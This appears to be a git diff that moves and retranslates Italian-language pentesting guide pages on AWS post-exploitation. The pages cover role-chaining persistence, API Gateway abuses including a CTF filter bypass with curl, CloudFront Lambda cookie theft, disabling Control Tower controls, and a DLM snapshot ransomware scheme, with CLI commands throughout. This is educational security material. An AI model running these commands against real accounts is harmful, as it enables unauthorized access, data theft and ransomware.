 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
 ### Assume role token
 
-I token temporanei non possono essere elencati, quindi mantenere un token temporaneo attivo è un modo per mantenere la persistenza.
+I token temporanei non possono essere elencati, quindi mantenere un token temporaneo attivo è un modo per mantenere la persistence.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# Con MFA
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# Il nome del dispositivo hardware è solitamente il numero sul retro del dispositivo, come GAHT12345678
-<strong># Il nome del dispositivo SMS è l'ARN in AWS, come arn:aws:iam::123456789012:sms-mfa/username
-</strong># Il nome del dispositivo virtuale è l'ARN in AWS, come arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**Il chaining dei ruoli è una funzionalità riconosciuta di AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere una persistenza stealth. Comporta la capacità di **assumere un ruolo che poi assume un altro**, potenzialmente tornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumere reciprocamente, questa configurazione consente il rinnovo perpetuo delle credenziali.
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), spesso utilizzata per mantenere la stealth persistence. Coinvolge la possibilità di **assumere un ruolo che poi ne assume un altro**, potenzialmente ritornando al ruolo iniziale in modo **ciclico**. Ogni volta che un ruolo viene assunto, il campo di scadenza delle credenziali viene aggiornato. Di conseguenza, se due ruoli sono configurati per assumersi reciprocamente, questa impostazione consente il rinnovo perpetuo delle credenziali.
 
-Puoi utilizzare questo [**strumento**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il chaining dei ruoli:
+Puoi usare questo [**tool**](https://github.com/hotnops/AWSRoleJuggler/) per mantenere attivo il role chaining:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> Nota che lo script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) di quel repository Github non trova tutti i modi in cui una catena di ruoli può essere configurata.
+> Nota che lo script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) di quel repository Github non trova tutti i modi in cui una role chain può essere configurata.
 
 <details>
 
-<summary>Codice per eseguire il Role Juggling da PowerShell</summary>
+<summary>Codice per eseguire Role Juggling con PowerShell</summary>
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
deleted file mode 100644
index 5dd2feda1..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ /dev/null
@@ -1,132 +0,0 @@
-# AWS - API Gateway Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Accesso a API non esposte
-
-Puoi creare un endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con il servizio `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare un gruppo di sicurezza che consenta tutte le connessioni.\
-Poi, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era stata esposta prima.
-
-### Bypass del passthrough del corpo della richiesta
-
-Questa tecnica è stata trovata in [**questo CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
-
-Come indicato nella [**documentazione AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) nella sezione `PassthroughBehavior`, per impostazione predefinita, il valore **`WHEN_NO_MATCH`**, quando controlla l'intestazione **Content-Type** della richiesta, passerà la richiesta al back end senza alcuna trasformazione.
-
-Pertanto, nel CTF, l'API Gateway aveva un modello di integrazione che **preveniva l'exfiltrazione della flag** in una risposta quando veniva inviata una richiesta con `Content-Type: application/json`:
-```yaml
-RequestTemplates:
-application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
-```
-Tuttavia, inviare una richiesta con **`Content-type: text/json`** impedirebbe quel filtro.
-
-Infine, poiché l'API Gateway consentiva solo `Get` e `Options`, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel corpo e utilizzando l'intestazione `X-HTTP-Method-Override: GET`:
-```bash
-curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
-```
-### Usage Plans DoS
-
-Nella sezione **Enumeration** puoi vedere come **ottenere il piano di utilizzo** delle chiavi. Se hai la chiave e è **limitata** a X utilizzi **al mese**, potresti **semplicemente usarla e causare un DoS**.
-
-La **API Key** deve essere **inclusa** all'interno di un **HTTP header** chiamato **`x-api-key`**.
-
-### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-
-Un attaccante con i permessi `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` può **modificare una Gateway Response esistente per includere intestazioni personalizzate o modelli di risposta che leak informazioni sensibili o eseguire script dannosi**.
-```bash
-API_ID="your-api-id"
-RESPONSE_TYPE="DEFAULT_4XX"
-
-# Update the Gateway Response
-aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Impatto Potenziale**: Fuoriuscita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API.
-
-> [!NOTE]
-> Necessita di test
-
-### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-
-Un attaccante con i permessi `apigateway:UpdateStage` e `apigateway:CreateDeployment` può **modificare un stage esistente di API Gateway per reindirizzare il traffico a un altro stage o cambiare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache**.
-```bash
-API_ID="your-api-id"
-STAGE_NAME="Prod"
-
-# Update the API Gateway stage
-aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Impatto Potenziale**: Accesso non autorizzato ai dati memorizzati nella cache, interruzione o intercettazione del traffico API.
-
-> [!NOTE]
-> Necessita di test
-
-### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-
-Un attaccante con i permessi `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` può **modificare la risposta del metodo di un metodo API Gateway REST API esistente per includere intestazioni personalizzate o modelli di risposta che leak informazioni sensibili o eseguire script dannosi**.
-```bash
-API_ID="your-api-id"
-RESOURCE_ID="your-resource-id"
-HTTP_METHOD="GET"
-STATUS_CODE="200"
-
-# Update the method response
-aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Impatto Potenziale**: Perdita di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse API.
-
-> [!NOTE]
-> Necessita di test
-
-### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-
-Un attaccante con i permessi `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` può **modificare le impostazioni dell'API Gateway REST API per disabilitare il logging o cambiare la versione minima di TLS, potenzialmente indebolendo la sicurezza dell'API**.
-```bash
-API_ID="your-api-id"
-
-# Update the REST API settings
-aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**Impatto Potenziale**: Indebolire la sicurezza dell'API, potenzialmente consentendo accessi non autorizzati o esponendo informazioni sensibili.
-
-> [!NOTE]
-> Necessita di test
-
-### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-
-Un attaccante con permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` e `apigateway:CreateUsagePlanKey` può **creare nuove chiavi API, associarle ai piani di utilizzo e poi utilizzare queste chiavi per accessi non autorizzati alle API**.
-```bash
-# Create a new API key
-API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
-
-# Create a new usage plan
-USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
-
-# Associate the API key with the usage plan
-aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
-```
-**Impatto Potenziale**: Accesso non autorizzato alle risorse API, eludendo i controlli di sicurezza.
-
-> [!NOTE]
-> Necessita di test
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
new file mode 100644
index 000000000..d9509263a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
@@ -0,0 +1,132 @@
+# AWS - API Gateway Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Per maggiori informazioni controlla:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Accesso ad API non esposte
+
+You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, esporre l'endpoint in una rete a cui hai accesso (potenzialmente via una macchina EC2) e assegnare un security group che permetta tutte le connessioni.\
+Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
+
+### Bypass del passthrough del body della richiesta
+
+This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+
+As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
+
+Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
+```yaml
+RequestTemplates:
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+```
+Tuttavia, inviare una richiesta con **`Content-type: text/json`** avrebbe aggirato quel filtro.
+
+Infine, poiché l'API Gateway consentiva soltanto `Get` e `Options`, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel body e usando l'header `X-HTTP-Method-Override: GET`:
+```bash
+curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
+```
+### Usage Plans DoS
+
+Nella sezione **Enumeration** puoi vedere come **ottenere il usage plan** delle chiavi. Se possiedi la chiave ed è **limitata** a X utilizzi **al mese**, puoi semplicemente **usarla e causare un DoS**.
+
+La **API Key** deve semplicemente essere **inserita** dentro un **HTTP header** chiamato **`x-api-key`**.
+
+### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
+
+Un attaccante con i permessi `apigateway:UpdateGatewayResponse` e `apigateway:CreateDeployment` può **modificare una Gateway Response esistente per includere header personalizzati o response templates che leak informazioni sensibili o eseguono script dannosi**.
+```bash
+API_ID="your-api-id"
+RESPONSE_TYPE="DEFAULT_4XX"
+
+# Update the Gateway Response
+aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Impatto potenziale**: Perdita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato a risorse API.
+
+> [!NOTE]
+> Da testare
+
+### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
+
+Un attaccante con i permessi `apigateway:UpdateStage` e `apigateway:CreateDeployment` può **modificare uno stage esistente di API Gateway per reindirizzare il traffico verso uno stage diverso o cambiare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache**.
+```bash
+API_ID="your-api-id"
+STAGE_NAME="Prod"
+
+# Update the API Gateway stage
+aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Impatto potenziale**: Accesso non autorizzato a dati memorizzati nella cache, interruzione o intercettazione del traffico API.
+
+> [!NOTE]
+> Da testare
+
+### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
+
+Un attaccante con i permessi `apigateway:PutMethodResponse` e `apigateway:CreateDeployment` può **modificare la risposta del metodo di un metodo esistente di API Gateway REST API per includere header personalizzati o template di risposta che leak informazioni sensibili o eseguano script malevoli**.
+```bash
+API_ID="your-api-id"
+RESOURCE_ID="your-resource-id"
+HTTP_METHOD="GET"
+STATUS_CODE="200"
+
+# Update the method response
+aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Impatto potenziale**: Leakage di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato a risorse API.
+
+> [!NOTE]
+> Necessita di test
+
+### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
+
+Un attacker con i permessi `apigateway:UpdateRestApi` e `apigateway:CreateDeployment` può **modificare le impostazioni della REST API di API Gateway per disabilitare il logging o cambiare la versione minima di TLS, indebolendo potenzialmente la sicurezza dell'API**.
+```bash
+API_ID="your-api-id"
+
+# Update the REST API settings
+aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Impatto potenziale**: Indebolimento della sicurezza dell'API, potenzialmente consentendo accesso non autorizzato o esponendo informazioni sensibili.
+
+> [!NOTE]
+> Da testare
+
+### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
+
+Un attacker con i permessi `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, e `apigateway:CreateUsagePlanKey` può **creare nuove API keys, associarle a usage plans e poi usare queste keys per ottenere accesso non autorizzato alle APIs**.
+```bash
+# Create a new API key
+API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
+
+# Create a new usage plan
+USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
+
+# Associate the API key with the usage plan
+aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
+```
+**Impatto potenziale**: Accesso non autorizzato alle risorse API, aggirando i controlli di sicurezza.
+
+> [!NOTE]
+> Da testare
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
deleted file mode 100644
index 18e155d00..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Man-in-the-Middle
-
-Questo [**post del blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione tramite CloudFront** con lo scopo di **rubare** informazioni degli utenti (come il **cookie** di sessione) e **modificare** la **risposta** (iniettando uno script JS malevolo).
-
-#### scenario 1: MitM dove CloudFront è configurato per accedere a qualche HTML di un bucket
-
-- **Crea** la **funzione** malevola.
-- **Associala** alla distribuzione CloudFront.
-- Imposta il **tipo di evento su "Viewer Response"**.
-
-Accedendo alla risposta potresti rubare il cookie degli utenti e iniettare un JS malevolo.
-
-#### scenario 2: MitM dove CloudFront sta già utilizzando una funzione lambda
-
-- **Modifica il codice** della funzione lambda per rubare informazioni sensibili
-
-Puoi controllare il [**codice tf per ricreare questi scenari qui**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
new file mode 100644
index 000000000..3c984dc6d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+Per maggiori informazioni controlla:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione attraverso CloudFront** con lo scopo di **steal** informazioni degli utenti (come il session **cookie**) e **modify** la **response** (iniettando uno script JS malevolo).
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Create** la **function** malevola.
+- **Associate** la function alla distribution CloudFront.
+- Setta il **event type to "Viewer Response"**.
+
+Accedendo alla risposta potresti rubare il cookie degli utenti e iniettare uno script JS malevolo.
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Modify the code** della lambda function per rubare informazioni sensibili
+
+Puoi controllare il [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
deleted file mode 100644
index 428591b60..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Controllo Torre Post Sfruttamento
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Controllo Torre
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
-{{#endref}}
-
-### Abilita / Disabilita Controlli
-
-Per sfruttare ulteriormente un account, potresti dover disabilitare/abilitare i controlli di Control Tower:
-```bash
-aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
new file mode 100644
index 000000000..1c366a0ee
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
@@ -0,0 +1,18 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Abilita / Disabilita controlli
+
+Per sfruttare ulteriormente un account, potrebbe essere necessario disabilitare/abilitare i controlli di Control Tower:
+```bash
+aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
deleted file mode 100644
index a1323fc3b..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - DLM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Data Lifecycle Manger (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-Un attacco ransomware può essere eseguito crittografando il maggior numero possibile di volumi EBS e poi cancellando le attuali istanze EC2, volumi EBS e snapshot. Per automatizzare questa attività malevola, si può utilizzare Amazon DLM, crittografando gli snapshot con una chiave KMS di un altro account AWS e trasferendo gli snapshot crittografati a un account diverso. In alternativa, potrebbero trasferire snapshot senza crittografia a un account che gestiscono e poi crittografarli lì. Anche se non è semplice crittografare direttamente i volumi EBS o gli snapshot esistenti, è possibile farlo creando un nuovo volume o snapshot.
-
-Innanzitutto, si utilizzerà un comando per raccogliere informazioni sui volumi, come ID istanza, ID volume, stato di crittografia, stato di attacco e tipo di volume.
-
-`aws ec2 describe-volumes`
-
-In secondo luogo, si creerà la policy di lifecycle. Questo comando utilizza l'API DLM per impostare una policy di lifecycle che prende automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica anche tag specifici agli snapshot e copia i tag dai volumi agli snapshot. Il file policyDetails.json include i dettagli della policy di lifecycle, come tag target, programma, l'ARN della chiave KMS opzionale per la crittografia e l'account target per la condivisione degli snapshot, che saranno registrati nei log di CloudTrail della vittima.
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-Un modello per il documento di policy può essere visto qui:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
new file mode 100644
index 000000000..d449c4b67
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+Un attacco ransomware può essere eseguito cifrando il maggior numero possibile di EBS volumes e poi cancellando le EC2 instances correnti, gli EBS volumes e gli snapshots. Per automatizzare questa attività malevola si può impiegare Amazon DLM, cifrando gli snapshots con una KMS key proveniente da un altro AWS account e trasferendo gli snapshots cifrati in un account diverso. In alternativa, si possono trasferire snapshots non cifrati in un account gestito dall'attaccante e poi cifrarli lì. Sebbene non sia semplice cifrare direttamente EBS volumes o snapshots esistenti, è possibile farlo creando un nuovo volume o snapshot.
+
+Per prima cosa si utilizza un comando per raccogliere informazioni sui volumi, come instance ID, volume ID, encryption status, attachment status e volume type.
+
+`aws ec2 describe-volumes`
+
+Successivamente si creerà la lifecycle policy. Questo comando utilizza la DLM API per impostare una lifecycle policy che crea automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica inoltre tag specifici agli snapshots e copia i tag dai volumi agli snapshots. Il file policyDetails.json include i dettagli della lifecycle policy, come i target tags, lo schedule, l'ARN della KMS key opzionale per la cifratura e l'account di destinazione per la condivisione degli snapshots, che verrà registrato nei CloudTrail logs della vittima.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+Un modello per il documento di policy può essere visto qui:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
